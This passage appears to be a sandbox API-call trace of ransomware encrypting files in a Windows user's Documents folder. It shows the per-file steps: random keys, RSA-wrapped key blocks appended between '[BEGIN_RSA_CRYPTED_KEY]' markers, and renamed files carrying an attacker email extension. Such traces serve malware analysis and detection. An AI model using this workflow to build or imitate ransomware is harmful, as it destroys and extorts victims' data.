hHeap=0x570000) returned 1 [0147.131] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\OkaAfV-IS.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\okaafv-is.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\OkaAfV-IS.pptx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\okaafv-is.pptx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.133] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.133] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.133] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0147.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bea50 [0147.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0147.133] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.133] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\Ng2e.xlsx", dwFileAttributes=0x80) returned 1 [0147.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0147.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0147.133] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\Ng2e.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ng2e.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.134] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=32101) returned 1 [0147.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7d65) returned 0x631898 [0147.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7d65) returned 0x639608 [0147.134] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x7d65, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x7d65, lpOverlapped=0x0) returned 1 [0147.135] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-32101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.135] WriteFile (in: hFile=0x5e8, lpBuffer=0x639608*, nNumberOfBytesToWrite=0x7d65, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x639608*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7d65, lpOverlapped=0x0) returned 1 [0147.136] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7d65 [0147.136] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.136] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.136] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.136] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.137] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.137] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.137] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="LAbJOlvuQMlvAivNwfaHRqgvmtuydDK6R/a2nBSkg4904VZxlPPrSheL6AM60w8+\n6sBM1Zj21R2Yvvyt7gAe7Q3b5tRQtowsUPQf95uatSfMQaukwGdu8bnHSfR1JvTV\nahSwQRcbxk9LVqJp3hSVD6LppGX1j7fUcle1vjssDlefqM7quXU/aWW1ueaLB3s3\nnzB733wvoO0Bp7tk2LO/uTwCD20gJtSZ0YbawF+KJR8PGALUUmKL4XyrdK1QIzEU\n5MoliOxigQ3toSWcb/tD+crmVlf1b4ZN9vO4pITvilOKv7fgXtSivMj1AKSFEEs1\n3aEuwhgRas97VDKP+v9WjA==\n", pcchString=0x2e3f9a8) returned 1 [0147.137] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.137] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.137] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.138] CloseHandle (hObject=0x5e8) returned 1 [0147.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.138] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\Ng2e.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ng2e.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\Ng2e.xlsx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\ng2e.xlsx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0147.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0147.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0147.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0147.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0147.140] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.140] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\jriFgX.pptx", dwFileAttributes=0x80) returned 1 [0147.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be5d8 [0147.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be5d8 | out: hHeap=0x570000) returned 1 [0147.140] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\jriFgX.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\jrifgx.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.140] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=25798) returned 1 [0147.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x64c6) returned 0x631898 [0147.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x64c6) returned 0x637d68 [0147.141] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x64c6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x64c6, lpOverlapped=0x0) returned 1 [0147.142] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-25798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.142] WriteFile (in: hFile=0x5e8, lpBuffer=0x637d68*, nNumberOfBytesToWrite=0x64c6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x637d68*, lpNumberOfBytesWritten=0x2e3f9b4*=0x64c6, lpOverlapped=0x0) returned 1 [0147.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x637d68 | out: hHeap=0x570000) returned 1 [0147.142] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x64c6 [0147.142] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.142] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.142] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.143] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.143] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.143] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.143] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="pdVS168mYhLhD0HqhoB8JX0bF4XyYgPgxh8XNuLI02GmkA0YhK4pKBeWM80fY00h\nTWEenKQde3eBBw076wMIncngqTRHMCQu61uxVxrfk+8ruzPG+3yWzMKETXHuRWMR\n7hbZJkpLq4nS28YQup5r91sp8gMuqViMx64BdWySUzzWd/U21o07M47uDawwkaT4\nAa0ijKpg2hSGXi5F6BgnuGnaA4eueOxxixCh6elB7by7gWvLwWC5oz1hLSgSvIfw\ncGJQFZ5gVxnwddRq9IZekASttoKEqB8PZxMXWq5DiF0q+fVYtrLjfInl5rQ1TOJu\nnFVMhnCpKQD+qLcmFic/hg==\n", pcchString=0x2e3f9a8) returned 1 [0147.143] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.143] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.143] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.143] CloseHandle (hObject=0x5e8) returned 1 [0147.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.143] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\jriFgX.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\jrifgx.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\jriFgX.pptx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\jrifgx.pptx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.145] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.145] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0147.145] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0147.145] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be840 | out: hHeap=0x570000) returned 1 [0147.145] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0147.145] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.145] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.145] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\JIBSW8f5jqTWsn.pptx", dwFileAttributes=0x80) returned 1 [0147.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0147.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0147.146] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0147.146] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\JIBSW8f5jqTWsn.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\jibsw8f5jqtwsn.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.146] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7335) returned 1 [0147.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ca7) returned 0x631898 [0147.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ca7) returned 0x633548 [0147.146] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x1ca7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ca7, lpOverlapped=0x0) returned 1 [0147.147] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-7335, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.147] WriteFile (in: hFile=0x5e8, lpBuffer=0x633548*, nNumberOfBytesToWrite=0x1ca7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x633548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ca7, lpOverlapped=0x0) returned 1 [0147.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x633548 | out: hHeap=0x570000) returned 1 [0147.147] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ca7 [0147.147] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.147] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.148] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.148] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.148] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.148] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.148] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="tFOuU4pZaGO9ynF8XXgBhg1kIpRph96QMiesmFrSEtCb8r4rh1/uCg2u/iGxhmpI\n/mwi9CiNX5nSNHqc3GeaB3mwSyxsjXAOMWGVW9JGJyv6FGMTx3yBT+qHVZ8ogYOB\noIPICRtQhauvWmhsJymkvbu6cKSjG2lF6QXT9jipo6SKYuvPqR9DAGxRd8eNFsDJ\ni372ZHJzlNBf34BpURnJW8unpqvsNtl4YoCEKzqYt8ExUsu9t6h5eg8ZgEUyeL3m\n0Mwodjpw0x2tzJr19ImKUpn/YPfXO4N6Npa/SSwbmSy6Z+m6VBiK8+EaOSIwXsYt\ne2PcoW2gnBOVM5VscQaVnw==\n", pcchString=0x2e3f9a8) returned 1 [0147.148] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.148] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.148] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.148] CloseHandle (hObject=0x5e8) returned 1 [0147.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.149] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\JIBSW8f5jqTWsn.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\jibsw8f5jqtwsn.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\JIBSW8f5jqTWsn.pptx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\jibsw8f5jqtwsn.pptx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0147.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0147.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0147.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0147.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.151] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.151] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\GlT7X.docx", dwFileAttributes=0x80) returned 1 [0147.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be580 [0147.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0147.151] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\GlT7X.docx" (normalized: "c:\\users\\fd1hvy\\documents\\glt7x.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.151] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=48173) returned 1 [0147.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbc2d) returned 0x631898 [0147.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbc2d) returned 0x63d4d0 [0147.151] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0xbc2d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xbc2d, lpOverlapped=0x0) returned 1 [0147.154] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-48173, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.154] WriteFile (in: hFile=0x5e8, lpBuffer=0x63d4d0*, nNumberOfBytesToWrite=0xbc2d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63d4d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbc2d, lpOverlapped=0x0) returned 1 [0147.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63d4d0 | out: hHeap=0x570000) returned 1 [0147.154] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbc2d [0147.154] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.154] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.155] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.155] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.155] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.155] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="LDjUmq+D7EcOs8nMzniDwP5S24eDG5o2x8EaOQhI1eQHA1P9cHZjHePXEFEl3o/K\nirERrSs+I58VP7rl3AcYUZ3kx82zl/0kfg0TVRDPr7PTLpGw+WQJMspFfy3GNn4x\noRUAxUJLCOND1Lzhn/R/b8GGG/jSNFaCZWmzznsd9eR7/ZKi0zYNkPUyun9jlOBw\nKS43oxAGiVzM9GfAxodkkirOS3ezKlBdA/fkYUC1RlluA6pRinpBuwbhIJWcF1fH\n3B5yXfGZH3MtBZPB1emu7z13xB1X5AopSgLl2REy5MLB3EwF4fLJvzBr0w6nuCva\n4Xxs3/vb7gMFY+/1LjTBew==\n", pcchString=0x2e3f9a8) returned 1 [0147.155] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.156] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.156] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.156] CloseHandle (hObject=0x5e8) returned 1 [0147.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.156] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\GlT7X.docx" (normalized: "c:\\users\\fd1hvy\\documents\\glt7x.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\GlT7X.docx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\glt7x.docx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0147.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0147.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0147.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.158] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.158] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\fGn DrSdhzxQj.pps", dwFileAttributes=0x80) returned 1 [0147.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0147.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0147.158] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\fGn DrSdhzxQj.pps" (normalized: "c:\\users\\fd1hvy\\documents\\fgn drsdhzxqj.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.158] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=66730) returned 1 [0147.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x104aa) returned 0x631898 [0147.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x104aa) returned 0x641d50 [0147.159] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x104aa, lpNumberOfBytesRead=0x2e3f9b4, 